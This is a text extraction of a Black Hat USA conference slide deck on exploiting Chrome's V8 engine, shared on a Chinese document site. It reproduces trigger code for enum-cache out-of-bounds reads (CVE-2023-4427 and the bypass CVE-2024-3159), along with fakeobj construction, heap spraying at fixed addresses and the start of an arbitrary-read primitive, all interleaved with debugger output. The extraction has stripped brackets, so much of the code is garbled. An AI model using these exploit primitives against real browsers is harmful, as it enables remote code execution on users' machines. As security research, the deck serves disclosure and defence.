《愛德華·波欽與陶燕與曲波_讓緩存緩存讓WebAssembly組裝敲響Chrome的殼.pdf》由會員分享,可在線閱讀,更多相關《愛德華·波欽與陶燕與曲波_讓緩存緩存讓WebAssembly組裝敲響Chrome的殼.pdf(102頁珍藏版)》請在三個皮匠報告上搜索。
1、#BHUSA BlackHatEventsLet the Cache Cache and Let the WebAssembly Assemble:Knocking on Chromes ShellEdouard Bochin(le_douds),Tao Yan(Ga1ois)and Bo QuPalo Alto Networks#BHUSA BlackHatEvents2About UsSecurity Researchers Offensive Research:MSRC Top 10*times100+CVEs in Browser,Office,Windows,PDF,etc.Defe
2、nsive research:Threat analysis,detection researchPatent Inventors:New defense and detection techniquesPwn2Own Winners Chrome/MSEdgeDouble Tap Pwn2Own 2024 Vancouver Windows Escalation of Privilege Pwn2Own 2021 Vancouver Conference Speakers Black Hat(USA,EU,Asia,MEA)CanSecWest Blue Hat POC HITCON Vir
3、us Bulletin REcon Etc.#BHUSA BlackHatEvents3Agenda Introduction Let the Cache Cache Tricking V8 engine enum cache Exploiting the enum cache vulnerability Let the WebAssembly Assemble The V8 Sandbox and WebAssembly internals Escaping the V8 Sandbox with the novel“field confusion”technique Putting It
4、All Together Summary&Takeaways#BHUSA BlackHatEvents4IntroductionTypical V8 exploit chain targeting Google Chrome without V8 SandboxChrome Sandbox Escape/OS KernelVulnV8 VulnMemory CorruptionArbitrary Read/WriteRenderer Code ExecutionCode Execution Outside Chrome#BHUSA BlackHatEvents5IntroductionTypi
5、cal V8 exploit chain targeting Google Chrome with V8 SandboxExploit Primitives outside V8 SandboxV8 VulnMemory CorruptionArbitrary Read/WriteV8 Sandbox EscapeCode Execution Outside ChromeRenderer Code ExecutionChrome Sandbox Escape/OS KernelVuln(Inside V8 Sandbox)#BHUSA BlackHatEvents6V8 SandboxExte
6、rnal ObjectObject1Object2Raw 64bits pointerRaw 64bits pointerBefore V8 Sandbox Beta(Chrome M123)all existing sandbox escape techniques relied on raw pointers stored inside the V8 Sandbox.V8 Sandbox Beta release removed all the raw pointers from the Sandbox,killing all the publicly available techniqu
7、es and their potential variants.Known V8 Sandbox Escape TechniquesAddress Space#BHUSA BlackHatEvents7IntroductionTypical V8 exploit chain targeting Google Chrome with V8 SandboxV8 VulnMemory CorruptionArbitrary Read/WriteV8 Sandbox EscapeCode Execution Outside ChromeRenderer Code ExecutionChrome San
8、dbox Escape/OS KernelVuln(Inside V8 Sandbox)Exploit Primitives outside V8 Sandbox#BHUSA BlackHatEventsLet the Cache Cache:Tricking V8 Engine Enum Cache#BHUSA BlackHatEvents9The Basics-JavaScript ObjectsObject 1MapPropertiesElements1234 MapMapTypeNof descriptors=5BackpointerDescriptorArrayTransitions
9、=NULLDescriptor ArrayMapEnum Cache:Empty“a”idx:0 SMI“b”idx:1SMI“c”idx:2SMI“d”idx:3SMI“e”idx:4SMIPropertiesMaplength5In-Object property valueconst object1=;object1.a=1;object1.b=2;object1.c=3;object1.d=4;object1.e=5;#BHUSA BlackHatEvents10The Basics Descriptor Array and TransitionsObject 1MapProperti
10、esElementsMap 0Nof descriptors=0Backpointer=NULLDescriptor ArrayTransitions=NULLDescriptor Array 0MapEnum Cache:Emptyconst object1=;#BHUSA BlackHatEvents11The Basics Descriptor Array and TransitionsObject 1MapPropertiesElements1Map 0Nof descriptors=0Backpointer=NULLDescriptor ArrayTransitionDescript
11、or Array 0MapEnum Cache:EmptyMap 1Nof descriptors=1BackpointerDescriptor ArrayTransitions=NULL“a”Descriptor Array 1MapEnum Cache:Empty“a”idx:0SMIconst object1=;object1.a=1;#BHUSA BlackHatEvents12The Basics Descriptor Array and TransitionsObject 1MapPropertiesElements1Map 0Nof descriptors=0Backpointe
12、r=NULLDescriptor ArrayTransitionDescriptor Array 0MapEnum Cache:EmptyMap 1Nof descriptors=1BackpointerDescriptor ArrayTransitionDescriptor Array 1MapEnum Cache:Empty“a”idx:0SMIconst object1=;object1.a=1;const object2=;object2.a=1;object2.b=1;Object 2MapPropertiesElements11Map 2Nof descriptors=2Backp
13、ointerDescriptor ArrayTransitions=NULL“b”Descriptor Array 2MapEnum Cache:Empty“a”idx:0SMI“b”Idx:1SMI“a”#BHUSA BlackHatEvents13The Basics Descriptor Array and TransitionsObject 1MapPropertiesElements1Map 0Nof descriptors=0Descriptor ArrayTransitionDescriptor Array 0MapEnum Cache:EmptyMap 1Nof descrip
14、tors=1Descriptor ArrayTransition“a”Descriptor Array 1MapEnum Cache:Empty“a”idx:0SMIconst object1=;object1.a=1;const object2=;object2.a=1;object2.b=1;Object 2MapPropertiesElements11Map 2Nof descriptors=2Descriptor ArrayTransitions=NULL“b”Descriptor Array 2MapEnum Cache:Empty“a”idx:0SMI“b”Idx:1SMI#BHU
15、SA BlackHatEvents14The Basics Descriptor Array and TransitionsMap 1Nof descriptors=1Descriptor ArrayTransitionMap 2Nof descriptors=2Descriptor ArrayTransition“b”Descriptor Array 2MapEnum Cache:Empty“a”idx:0SMI“b”idx:1SMIMap 3Nof descriptors=3Descriptor ArrayTransitions=NULL“c”Descriptor Array 3MapEn
16、um Cache:Empty“a”idx:0SMI“b”idx:1SMI“c”idx:2SMIObject 1MapPropertiesElements1Object 2MapPropertiesElements11Object 3MapPropertiesElements111“a”const object1=;object1.a=1;const object2=;object2.a=1;object2.b=1;const object3=;object3.a=1;object3.b=1;object3.c=1;#BHUSA BlackHatEvents15The Basics For-in
17、 Loop and Enum CacheMap 1Nof descriptors=1Descriptor ArrayTransitionMap 2Nof descriptors=2Descriptor ArrayTransition“b”Map 3Nof descriptors=3Descriptor ArrayTransitions=NULL“c”Descriptor Array 3MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2SMIObject 1MapPropertiesElements1Object 2MapPropertiesElements1
18、1Object 3MapPropertiesElements111“a”const object1=;object1.a=1;const object2=;object2.a=1;object2.b=1;const object3=;object3.a=1;object3.b=1;object3.c=1;for(let key in object2)console.log(object2key);Builtins_GetKeyedPropertyHandler()Enum Cache 1MapKeys2Indices2#BHUSA BlackHatEvents16The Basics For-
19、in Loop and Enum CacheMap 1Nof descriptors=1Descriptor ArrayTransitionMap 2Nof descriptors=2Descriptor ArrayTransition“b”Map 3Nof descriptors=3Descriptor ArrayTransitions=NULL“c”Descriptor Array 3MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2SMIObject 1MapPropertiesElements1Object 2MapPropertiesElement
20、s11Object 3MapPropertiesElements111“a”Enum Cache 1MapKeys2Indices2const object1=;object1.a=1;const object2=;object2.a=1;object2.b=1;const object3=;object3.a=1;object3.b=1;object3.c=1;function test()for(let key in object2)console.log(object2key);%PrepareFunctionForOptimization(test);test();%OptimizeF
21、unctionOnNextCall(test);test();#BHUSA BlackHatEvents17The Basics For-in Loopand Enum CacheReduceJSLoadPropertyWithEnumeratedKey()#BHUSA BlackHatEvents18CVE-2023-4427 Discovered by Sergei Glazunov of Google Project Zero Reported on August 2023 Out-Of-Bounds read in Enum Cache Our Pwn2Own vulnerabilit
22、y is a variant of CVE-2023-4427#BHUSA BlackHatEvents19CVE-2023-4427const object1=;object1.a=1;const object2=;object2.a=1;object2.b=1;const object3=;object3.a=1;object3.b=1;object3.c=1;let escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimiza
23、tion(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);Map 1Nof descriptors=1Descriptor ArrayTransitionMap 2Nof descriptors=2Descriptor ArrayTransition“b”Map 3Nof descriptors=3Descriptor ArrayTransitions=NULL“c”Descriptor Array 3M
24、apEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2SMIObject 1MapPropertiesElements1Object 2MapPropertiesElements11Object 3MapPropertiesElements111“a”Enum Cache 1MapKeys2Indices2#BHUSA BlackHatEvents20CVE-2023-4427/Object 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();e
25、scape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);ReduceJSLoadPropertyWithEnumeratedKey()pushrbpmovrbp,rsppushrsipushrdipushraxsubrsp,0 x30movQWORD PTR rbp-0 x20,rsicmprsp,QWORD PTR
26、 r13-0 x60#BHUSA BlackHatEvents21CVE-2023-4427/Object 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in
27、 object1);V8:internal:MapUpdater:ConstructNewMap()Map 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Descriptor Array 3MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2SMIEnum Cache 1MapKeys2Indices2Indices01OOB memoryIndex For-in Loop0#BHUSA BlackHatEvents22CVE-2023-4427/Object
28、 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);V8:internal:MapUpdater:ConstructNewMap()Map
29、 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Descriptor Array 4MapEnum Cache:Empty“a”idx:0SMI“b”idx:1SMI“c”idx:2DoubleIndex For-in Loop0Map2 updated with Descriptor Array 4 because of the Map and Descriptor Array update of Object3#BHUSA BlackHatEvents23CVE-2023-4427/Obj
30、ect 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);Map 2Nof descriptors=2DescriptorArrayTra
31、nsitionObject 2MapPropertiesElements11Enum Cache 2MapKeys1Indices1Indices0OOB memoryDescriptor Array 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2DoubleIndex For-in Loop0#BHUSA BlackHatEvents24CVE-2023-4427/Object 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();e
32、scape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);Map 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Enum Cache 2MapKeys1Indices1Indices0OOB memorymovr9d,
33、dword ptr r8+0 x17Access Descriptor array via MapDescriptor Array 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2DoubleIndex For-in Loop0#BHUSA BlackHatEvents25CVE-2023-4427/Object 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionFo
34、rOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);Map 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Enum Cache 2MapKeys1Indices1Indices0OOB memorymov r9d,dword ptr r14+r9+0 xbAccess Enum c
35、ache via Descriptor arrayDescriptor Array 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2DoubleIndex For-in Loop0#BHUSA BlackHatEvents26CVE-2023-4427/Object 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);t
36、rigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);Map 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Enum Cache 2MapKeys1Indices1Indices0OOB memorymov r9d,dword ptr r14+r9+7Access Indices array via Enum cacheDescr
37、iptor Array 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2DoubleIndex For-in Loop0#BHUSA BlackHatEvents27CVE-2023-4427/Object 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%Opti
38、mizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);Map 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Enum Cache 2MapKeys1Indices1Indices0OOB memorymovr9d,dword ptr r9+0+7 movr11d,r9dsarr11d,1movsxd r12,r11dGet property value index via indices
39、arrayDescriptor Array 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2DoubleIndex For-in Loop0#BHUSA BlackHatEvents28CVE-2023-4427/Object 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(
40、_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);Map 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Enum Cache 2MapKeys1Indices1Indices0OOB memorymov r9d,dword ptr rcx+r12*2+0 xbGet property value index via indices arrayDescriptor A
41、rray 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2Double#BHUSA BlackHatEvents29CVE-2023-4427/Object 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(tr
42、igger);trigger(_=object3.c=1.1;for(let key in object1);Map 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Enum Cache 2MapKeys1Indices1Indices0OOB memorymovr9d,dword ptr r9+r11*4+7 movr12d,r9dsarr12d,1movsxd r15,r12dGet property value index via indices arrayDescriptor Array
43、 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2DoubleIndex For-in Loop1#BHUSA BlackHatEvents30CVE-2023-4427/Object 1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctio
44、nOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);Map 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Enum Cache 2MapKeys1Indices1Indices0OOB memorymov r9d,dword ptr rcx+r15*2+0 xbGet property value index via indices arrayDescriptor Array 4MapEnum Cache“a
45、”idx:0SMI“b”idx:1SMI“c”idx:2Double#BHUSA BlackHatEvents31The Patchtrigger(_=object3.c=1.1;for(let key in object1);v8:internal:MapUpdater:ConstructNewMap()/If the old descriptors had an enum cache,make sure the new ones do too.if(old_descriptors_-enum_cache()-keys()-length()0&new_map-NumberOfEnumerab
46、leProperties()0)FastKeyAccumulator:InitializeFastPropertyEnumCache(isolate_,new_map,new_map-NumberOfEnumerableProperties();Map 2Nof descriptors=2DescriptorArrayTransitionObject 2MapPropertiesElements11Enum Cache 2MapKeys3Indices3Descriptor Array 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2Double#BHU
47、SA BlackHatEvents32The Bypass-CVE-2024-3159CVE-2024-3159const object1=;object1.a=1;const object2=;object2.a=1;object2.b=1;const object3=;object3.a=1;object3.b=1;object3.c=1;let escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigge
48、r);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);CVE-2023-4427const object4=;object4.a=1;object4.b=1;object4.d=1;const object1=;object1.a=1;const object2=;object2.a=1;object2.b=1;const object3=;object3.a=1;object3.b=1;object3.c=1;let e
49、scape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);#BHUSA BlackHatEvents33The Bypass-CVE-2024-3159const object1=;ob
50、ject1.a=1;const object2=;object2.a=1;object2.b=1;const object3=;object3.a=1;object3.b=1;object3.c=1;let escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger
51、(_=object3.c=1.1;for(let key in object1);const object4=;object4.a=1;object4.b=1;object4.d=1;#BHUSA BlackHatEvents34CVE-2024-3159const object4=;object4.a=1;object4.b=1;object4.d=1;const object1=;object1.a=1;const object2=;object2.a=1;object2.b=1;const object3=;object3.a=1;object3.b=1;object3.c=1;let
52、escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);#BHUSA BlackHatEvents35CVE-2024-3159Object 1MapPropertiesElemen
53、ts1Object 2MapPropertiesElements11Object 3MapPropertiesElements111Object 4MapPropertiesElements111Map 1Nof descriptors=1DescriptorArrayTransitionMap 2Nof descriptors=2DescriptorArrayTransition ArrayMap 3Nof descriptors=3DescriptorArrayTransitions=NULLMap 4Nof descriptors=3DescriptorArrayTransitions=
54、NULL“d”“b”“c”Descriptor Array 4MapEnum Cache:Empty“a”idx:0SMI“b”idx:1SMI“d”idx:2SMIDescriptor Array 3MapEnum Cache:Empty“a”idx:0SMI“b”idx:1SMI“c”idx:2SMI#BHUSA BlackHatEvents36CVE-2024-3159const object4=;object4.a=1;object4.b=1;object4.d=1;const object1=;object1.a=1;const object2=;object2.a=1;object
55、2.b=1;const object3=;object3.a=1;object3.b=1;object3.c=1;let escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(let key in object1);#B
56、HUSA BlackHatEvents37CVE-2024-3159Object 1MapPropertiesElements1Object 2MapPropertiesElements11Object 3MapPropertiesElements111Object 4MapPropertiesElements111Map 1Nof descriptors=1DescriptorArrayTransitionMap 2Nof descriptors=2DescriptorArrayTransition ArrayMap 3Nof descriptors=3DescriptorArrayTran
57、sitions=NULLMap 4Nof descriptors=3DescriptorArrayTransitions=NULL“d”“b”“c”Descriptor Array 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“d”idx:2SMIDescriptor Array 3MapEnum Cache:Empty“a”idx:0SMI“b”idx:1SMI“c”idx:2SMIEnum Cache 1MapKeys2Indices2#BHUSA BlackHatEvents38CVE-2024-3159trigger(_=object3.c=1.1;for(
58、let key in object1);v8:internal:MapUpdater:ConstructNewMap()/If the old descriptors had an enum cache,make sure the new ones do too.if(old_descriptors_-enum_cache()-keys()-length()0&new_map-NumberOfEnumerableProperties()0)FastKeyAccumulator:InitializeFastPropertyEnumCache(isolate_,new_map,new_map-Nu
59、mberOfEnumerableProperties();Object 3MapPropertiesElements111Map 3Nof descriptors=3BackpointerDescriptorArrayTransition=NULLOld Object 3Descriptor Array 3MapEnum Cache:Empty“a”idx:0SMI“b”idx:1SMI“c”idx:2SMI#BHUSA BlackHatEvents39CVE-2024-3159trigger(_=object3.c=1.1;for(let key in object1);v8:interna
60、l:MapUpdater:ConstructNewMap()/If the old descriptors had an enum cache,make sure the new ones do too.if(old_descriptors_-enum_cache()-keys()-length()0&new_map-NumberOfEnumerableProperties()0)FastKeyAccumulator:InitializeFastPropertyEnumCache(isolate_,new_map,new_map-NumberOfEnumerableProperties();O
61、bject 3MapPropertiesElements111Map 5Nof descriptors=3BackpointerDescriptorArrayTransition=NULLDescriptor Array 5MapEnum Cache:Empty“a”idx:0SMI“b”idx:1SMI“c”idx:2Double#BHUSA BlackHatEvents40CVE-2024-3159Object 1MapPropertiesElements1Object 2MapPropertiesElements11Object 3MapPropertiesElements111Obje
62、ct 4MapPropertiesElements111Map 1Nof descriptors=1DescriptorArrayTransitionMap 2Nof descriptors=2DescriptorArrayTransition ArrayMap 5Nof descriptors=3DescriptorArrayTransitions=NULLMap 4Nof descriptors=3DescriptorArrayTransitions=NULL“d”“b”“c”Descriptor Array 4MapEnum Cache“a”idx:0SMI“b”idx:1SMI“d”i
63、dx:2SMIDescriptor Array 5MapEnum Cache:Empty“a”idx:0SMI“b”idx:1SMI“c”idx:2DoubleEnum Cache 1MapKeys2Indices2#BHUSA BlackHatEvents41CVE-2024-3159Object 1MapPropertiesElements1Object 2MapPropertiesElements11Object 3MapPropertiesElements111Map 1Nof descriptors=1DescriptorArrayTransitionMap 2Nof descrip
64、tors=2DescriptorArrayTransition ArrayMap 3Nof descriptors=3DescriptorArrayTransitions=NULL“b”“c”Descriptor Array 5MapEnum Cache:Empty“a”idx:0SMI“b”idx:1SMI“c”idx:2Double#BHUSA BlackHatEvents42CVE-2024-3159Object 1MapPropertiesElements1Object 2MapPropertiesElements11Object 3MapPropertiesElements111Ma
65、p 1Nof descriptors=1DescriptorArrayTransitionMap 2Nof descriptors=2DescriptorArrayTransition ArrayMap 3Nof descriptors=3DescriptorArrayTransitions=NULL“b”“c”Descriptor Array 5MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2Doubletrigger(_=object3.c=1.1;for(let key in object1);Enum Cache 2MapKeys1Indices1
66、Indices0OOB memory#BHUSA BlackHatEvents43CVE-2024-3159/Object 4,1,2 and 3 Setuplet escape;function trigger(callback)for(let key in object2)callback();escape=object2key;%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFunctionOnNextCall(trigger);trigger(_=object3.c=1.1;for(
67、let key in object1);Map 2Nof descriptors=2DescriptorArrayTransition ArrayObject 2MapPropertiesElements11Enum Cache 2MapKeys1Indices1Indices0OOB memorymov r9d,dword ptr rcx+r15*2+0 xbGet property value index via indices arrayDescriptor Array 5MapEnum Cache“a”idx:0SMI“b”idx:1SMI“c”idx:2Double#BHUSA Bl
68、ackHatEventsLet the Cache Cache:Exploiting the Enum Cache Vulnerability#BHUSA BlackHatEventsTrigger JIT Stablyfor(let j=0;j _);trigger(_=_);for(let j=0;j _);trigger(_=_);trigger(_=_);trigger(_=_);trigger(_=_);trigger(_=_);%PrepareFunctionForOptimization(trigger);trigger(_=_);trigger(_=_);%OptimizeFu
69、nctionOnNextCall(trigger);Code density is the key!45#BHUSA BlackHatEventsControl the Out of Bounds Readstatic#empty_object=;const object1=CreateObject(1),object2=CreateObject(9),object3=CreateObject(10),object4=CreateObject(11);function trigger(callback)for(let key in object2)if(key=p7)callback();re
70、turn object2key;JIT(trigger);fakeobj=trigger(function()object3.p9=1.1;for(let key in object1);let string=String.fromCharCode.apply(null,0 x44,0 x43,0 x42,0 x41);#empty_objectstring;);Map 2Nof descriptors=9BackpointerDescriptorArrayTransitionEnum Cache 2MapKeys1Indices1Object 2MapPropertiesElements1S
71、tringMapSize“ABCD”OOB ReadObject20 x41424344Indices1MapSize0Indices7Descriptor Array 5MapEnum Cache“p0”idx:0SMI46#BHUSA BlackHatEvents47/function trigger(callback)for(let key in object2)if(key=“p7”)callback();return object2key;JIT(trigger);fakeobj=trigger(_=object3.p9=1.1;for(let key in object1)let
72、string=String.fromCharCode.apply(null,0 x44,0 x43,0 x42,0 x41);#empty_objectstring;);Map 2Nof descriptors=9DescriptorArrayTransitionObject 2MapPropertiesElements1Descriptor Array 5MapEnum Cache“p0”idx:0SMI“p9”Idx:10DoubleIndex For-in Loop7Control the Out of Bounds Read More Details#BHUSA BlackHatEve
73、nts48/function trigger(callback)for(let key in object2)if(key=“p7”)callback();return object2key;JIT(trigger);fakeobj=trigger(_=object3.p9=1.1;for(let key in object1)let string=String.fromCharCode.apply(null,0 x44,0 x43,0 x42,0 x41);#empty_objectstring;);Map 2Nof descriptors=9DescriptorArrayTransitio
74、nObject 2MapPropertiesElements1Enum Cache 2MapKeys1Indices1Indices0OOB memoryDescriptor Array 5MapEnum Cache“p0”idx:0SMI“p1”idx:1SMIIndex For-in Loop7Control the Out of Bounds Read More Details#BHUSA BlackHatEvents49/function trigger(callback)for(let key in object2)if(key=“p7”)callback();return obje
75、ct2key;JIT(trigger);fakeobj=trigger(_=object3.p9=1.1;for(let key in object1)let string=String.fromCharCode.apply(null,0 x44,0 x43,0 x42,0 x41);#empty_objectstring;);Map 2Nof descriptors=9DescriptorArrayTransitionObject 2MapPropertiesElements1Enum Cache 2MapKeys1Indices1Indices0OOB memory0 x41424344D
76、escriptor Array 5MapEnum Cache“p0”idx:0SMI“p1”idx:1SMIIndex For-in Loop7Control the Out of Bounds Read More Details#BHUSA BlackHatEvents50/function trigger(callback)for(let key in object2)if(key=“p7”)callback();return object2key;JIT(trigger);fakeobj=trigger(_=object3.p9=1.1;for(let key in object1)le
77、t string=String.fromCharCode.apply(null,0 x44,0 x43,0 x42,0 x41);#empty_objectstring;);Map 2Nof descriptors=9DescriptorArrayTransitionObject 2MapPropertiesElements1Enum Cache 2MapKeys1Indices1Indices0OOB memory0 x41424344movr9d,dword ptr r9+r11*4+7 movr11d,r9dsarr11d,1movsxd r12,r11dGet property val
78、ue index via indices arrayDescriptor Array 5MapEnum Cache“p0”idx:0SMI“p1”idx:1SMIIndex For-in Loop7Control the Out of Bounds Read More Details#BHUSA BlackHatEvents51Control the Out of Bounds Read More Details/function trigger(callback)for(let key in object2)if(key=“p7”)callback();return object2key;J
79、IT(trigger);fakeobj=trigger(_=object3.p9=1.1;for(let key in object1)let string=String.fromCharCode.apply(null,0 x44,0 x43,0 x42,0 x41);#empty_objectstring;);Map 2Nof descriptors=9DescriptorArrayTransitionObject 2MapPropertiesElements1Enum Cache 2MapKeys1Indices1Indices0OOB memory0 x41424344Descripto
80、r Array 5MapEnum Cache“p0”idx:0SMI“p1”idx:1SMIIndex For-in Loop7mov r9d,dword ptr rcx+r15*2+0 xbGet property value index via indices arrayobject2+0 x41424344+0 xb#BHUSA BlackHatEventsFrom Out of Bounds Read to FakeObj/read the arbitrary offset of object2 in the ASM level;fakeobj=object2+arbitrary_of
81、fset+0 xBmov eax,dword ptr r8+r11*2+0Bhadd rax,r14/fake the arbitrary object in the JS levelfakeobj=object2arbitrary_index;Object2Fake_object_addrFake_objectObject2_addrObject2_addr+offset+0 xBFake_object_addrThe V8 Heap manipulations:Write the arbitrary value at a relative address(of a known object
82、)Write the arbitrary value at a fixed address52#BHUSA BlackHatEvents0:000 dd(0 x02f10018287d-1)02f10018287c:00116db1 000006f5 01402139 00800000Write the Arbitrary Value at a Fixed AddressLarge ArrayMapPropertiesElementsLengthElementsMapLengthDatalet large_arr=new Array(0 x400000);large_arr.fill(1.1)
83、;0:000 dd(0 x02f101402139-1)02f101402138:00000879 008000009999999a 3ff1999902f101402148:9999999a 3ff199999999999a 3ff19999large_arr0=1.2;33333333 3ff33333Large Array Elements address is fixed per array size and Chrome Version!53#BHUSA BlackHatEventsWrite the Arbitrary Value at a Relative AddressFind
84、ing an object X adjacent with the object 2 and containing a constant value field Write a value at the relative address of the object2=object2 address is in a fixed memory scope+fixed large array element address+the arbitrary value sprayObject20 x01402138Large Array Elementfakeobjaddress spray0 x4000
85、00*80.000 dd(0 x029001402139-1)029001402138:00000879 0080000000116d71 000006f5029001402148:01402151 0000000200000565 00000000029001402158:01402141 0140214101402141 01402141029003402158:01402141 0140214100000000 000000000 x01402139-1+8+0 x200000*8 0 x150000 0 xb0 x03402138Sliding Safe Zone0 x400000*8
86、0 x022b21350 x01402138+0 x200000*80 x15000054#BHUSA BlackHatEventsFake the ObjectObject2Object2_addr+0 x22b2135+0 xbFakeobj_addr:0 x01402141Large Array ElementFake_objectLarge_arr_elem_addr:0 x01402139/read and write with large arraya=large_arri;large_arri=c;/read and write with fakeobjf=fakeobj0;fa
87、keobj0=obj;Javascript LevelObject2Fake_object_addrFake_objectObject2_addrObject2_addrObject2_addr+offset+0 xbFake_object_addrfakeobjaddress spray:0 x01402141The theoryThe practice55#BHUSA BlackHatEvents0.000 dd(0 x01a600188375-1)01a600188374:00116d71 000006f50018834d 00000008Fake the Object Object M
88、ap ValuesJS ArrayMapPropertiesElementsLengthPACKED_DOUBLE_ELEMENTSPACKED_ELEMENTSMap Values are Fixed per Chrome Version!let l=1.1,1.2,1.3,1.4;let a=1,2,3,1.2,x;0.000 dd(0 x01a600188385-1)01a600188384:00116df1 000006f500146b11 0000000a56#BHUSA BlackHatEventsFake the Object More Details0.000 dd(0 x02
89、9001402139-1)029001402138:00000879 0080000000116d71 000006f5-la0029001402148:01402151 00000002-la100000565 00000000-la2029001402158:01402141 01402141-la3&fake001402141 01402141 029003402158:01402141 01402141large_arr0=BigIntAsDouble(FAKE_OBJ_MAP|(0 x6f532n);large_arr1=BigIntAsDouble(FAKE_OBJ_ELEMENT
90、S_ADDR|(smi(1n)32n);large_arr2=BigIntAsDouble(FIXED_ARRAY_MAP|(smi(0n)32n);Large Array ElementsMapLengthFake_Obj_MapFake_Obj_PropertiesFake_Obj_ElementsFake_Obj_LengthFake Obj ElementsFake_Obj_MapFake_Obj_LengthDatafakeobj0 x029001402141%DebugPrint(fakeobj);57#BHUSA BlackHatEventsfunction v8_read64(
91、addr)addr|=1n;addr-=FIXED_ARRAY_HEADER_SIZE;large_arr0=BigIntAsDouble(PACKED_DOUBLE_ELEMENTS_MAP|(DEFAULT_JS_ARRAY_PROPERTIES 32n);large_arr1=BigIntAsDouble(addr|(smi(1n)32n);let result=DoubleAsBigInt(fakeobj0);large_arr1=BigIntAsDouble(0n|(smi(0n)dd(0 x029001402139-1)029001402138:00000879 000400000
